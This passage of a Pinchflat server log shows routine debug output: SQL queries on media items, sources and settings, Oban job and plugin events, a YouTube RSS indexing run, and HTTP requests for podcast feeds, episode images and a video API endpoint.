QUERY OK source="media_items" db=3.6ms idle=415.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:51:14.401 [debug] QUERY OK source="source_metadata" db=0.0ms idle=419.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:51:14.402 [debug] QUERY OK source="media_metadata" db=0.0ms idle=419.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [6107] 16:51:14.402 [info] Sent 200 in 4ms 16:51:25.059 [info] {"args":{"id":3},"id":714,"meta":{},"system_time":1784911885059470864,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:51:25.059 [debug] QUERY OK source="sources" db=0.1ms idle=1076.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:51:25.060 [debug] QUERY OK source="settings" db=0.1ms idle=1007.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:25.060 [debug] QUERY OK source="tasks" db=0.2ms idle=1076.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:51:25.060 [debug] QUERY OK source="sources" db=0.2ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:51:25.060 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:51:25.060 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:25.060 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 16:51:25.263 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 16:51:25.264 [debug] QUERY OK source="media_items" db=0.3ms idle=203.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 16:51:25.267 [debug] QUERY OK source="media_items" db=3.0ms idle=204.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:51:25.268 [debug] QUERY OK source="tasks" db=0.1ms idle=207.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [717, 3, ~U[2026-07-24 16:51:25Z], ~U[2026-07-24 16:51:25Z]] 16:51:25.268 [info] {"args":{"id":3},"id":714,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":208981,"event":"job:stop","queue_time":431873,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:51:25.269 [debug] QUERY OK source="tasks" db=0.2ms idle=1.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:51:27.207 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:57.208 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.757 [info] {"source":"oban","duration":121,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:52:27.209 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:57.210 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.759 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:53:27.211 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:29.273 [info] GET /sources/4f95f144-f603-49e7-b482-23803c380629/feed.xml 16:53:29.273 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "4f95f144-f603-49e7-b482-23803c380629"} Pipelines: [:maybe_basic_auth] 16:53:29.273 [debug] QUERY OK source="sources" db=0.1ms idle=288.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["4f95f144-f603-49e7-b482-23803c380629"] 16:53:29.275 [debug] QUERY OK source="media_items" db=1.4ms idle=288.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [3, 2000] 16:53:29.275 [debug] QUERY OK source="source_metadata" db=0.0ms idle=290.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [3] 16:53:29.275 [debug] QUERY OK source="media_metadata" db=0.0ms idle=290.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12825] 16:53:29.276 [info] Sent 200 in 2ms 16:53:57.212 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:59.167 [info] GET /api/v1/videos 16:53:59.167 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:53:59.190 [debug] QUERY OK source="media_items" db=22.7ms idle=961.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:53:59.249 [info] Sent 200 in 81ms 16:54:00.759 [info] {"source":"oban","duration":140,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:54:01.255 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/episode_image.jpg 16:54:01.255 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 16:54:01.255 [debug] QUERY OK source="media_items" db=0.1ms idle=495.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 16:54:01.279 [info] Sent 200 in 23ms 16:54:02.390 [info] GET /media/d7148368-8a81-43d0-9042-4bae425b8c72/episode_image.jpg 16:54:02.390 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "d7148368-8a81-43d0-9042-4bae425b8c72"} Pipelines: [:maybe_basic_auth] 16:54:02.390 [debug] QUERY OK source="media_items" db=0.1ms idle=1402.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d7148368-8a81-43d0-9042-4bae425b8c72"] 16:54:02.390 [info] Sent 200 in 417µs 16:54:03.257 [info] GET /media/755571a6-37b5-492e-bf09-cd1c4400778c/episode_image.jpg 16:54:03.257 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "755571a6-37b5-492e-bf09-cd1c4400778c"} Pipelines: [:maybe_basic_auth] 16:54:03.257 [debug] QUERY OK source="media_items" db=0.1ms idle=867.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["755571a6-37b5-492e-bf09-cd1c4400778c"] 16:54:03.257 [info] Sent 200 in 365µs 16:54:03.960 [info] GET /media/7fd74fd9-cb8c-478d-85f2-3fd6bde91084/episode_image.jpg 16:54:03.960 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "7fd74fd9-cb8c-478d-85f2-3fd6bde91084"} Pipelines: [:maybe_basic_auth] 16:54:03.960 [debug] QUERY OK source="media_items" db=0.1ms idle=971.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["7fd74fd9-cb8c-478d-85f2-3fd6bde91084"] 16:54:03.960 [info] Sent 200 in 671µs 16:54:04.458 [info] GET /media/50105db7-92fb-4a77-8e04-d67f5f9480eb/episode_image.jpg 16:54:04.458 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "50105db7-92fb-4a77-8e04-d67f5f9480eb"} Pipelines: [:maybe_basic_auth] 16:54:04.459 [debug] QUERY OK source="media_items" db=0.1ms idle=1470.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["50105db7-92fb-4a77-8e04-d67f5f9480eb"] 16:54:04.459 [info] Sent 200 in 492µs 16:54:04.932 [info] GET /media/47e5e455-711f-4196-8550-e3661a8637ba/episode_image.jpg 16:54:04.932 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "47e5e455-711f-4196-8550-e3661a8637ba"} Pipelines: [:maybe_basic_auth] 16:54:04.933 [debug] QUERY OK source="media_items" db=0.1ms idle=1721.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["47e5e455-711f-4196-8550-e3661a8637ba"] 16:54:04.933 [info] Sent 200 in 460µs 16:54:27.213 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:57.214 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.761 [info] {"source":"oban","duration":108,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:55:27.215 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:57.216 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.761 [info] {"source":"oban","duration":113,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:56:03.563 [info] GET /api/v1/videos 16:56:03.563 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:56:03.585 [debug] QUERY OK source="media_items" db=22.0ms idle=1231.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:56:03.637 [info] Sent 200 in 73ms 16:56:19.407 [info] GET /api/v1/videos 16:56:19.407 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:56:19.426 [debug] QUERY OK source="media_items" db=18.4ms idle=415.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:56:19.476 [info] Sent 200 in 69ms 16:56:27.217 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:41.894 [info] GET /sources/3/media/12825 16:56:41.894 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12825", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 16:56:41.895 [debug] QUERY OK source="media_items" db=0.1ms idle=903.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12825] 16:56:41.895 [debug] QUERY OK source="tasks" db=0.0ms idle=903.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12825] 16:56:41.895 [debug] QUERY OK source="sources" db=0.1ms idle=903.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:56:41.895 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=903.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [469] 16:56:41.895 [debug] QUERY OK source="settings" db=0.0ms idle=525.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:41.895 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:41.896 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:41.896 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:41.897 [info] Sent 200 in 2ms 16:56:57.218 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.763 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:57:15.543 [info] GET /sources/1/media/12826 16:57:15.543 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12826", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 16:57:15.543 [debug] QUERY OK source="media_items" db=0.1ms idle=1140.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12826] 16:57:15.543 [debug] QUERY OK source="tasks" db=0.0ms idle=550.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12826] 16:57:15.543 [debug] QUERY OK source="sources" db=0.1ms idle=550.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:57:15.544 [debug] QUERY OK source="settings" db=0.0ms idle=551.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", 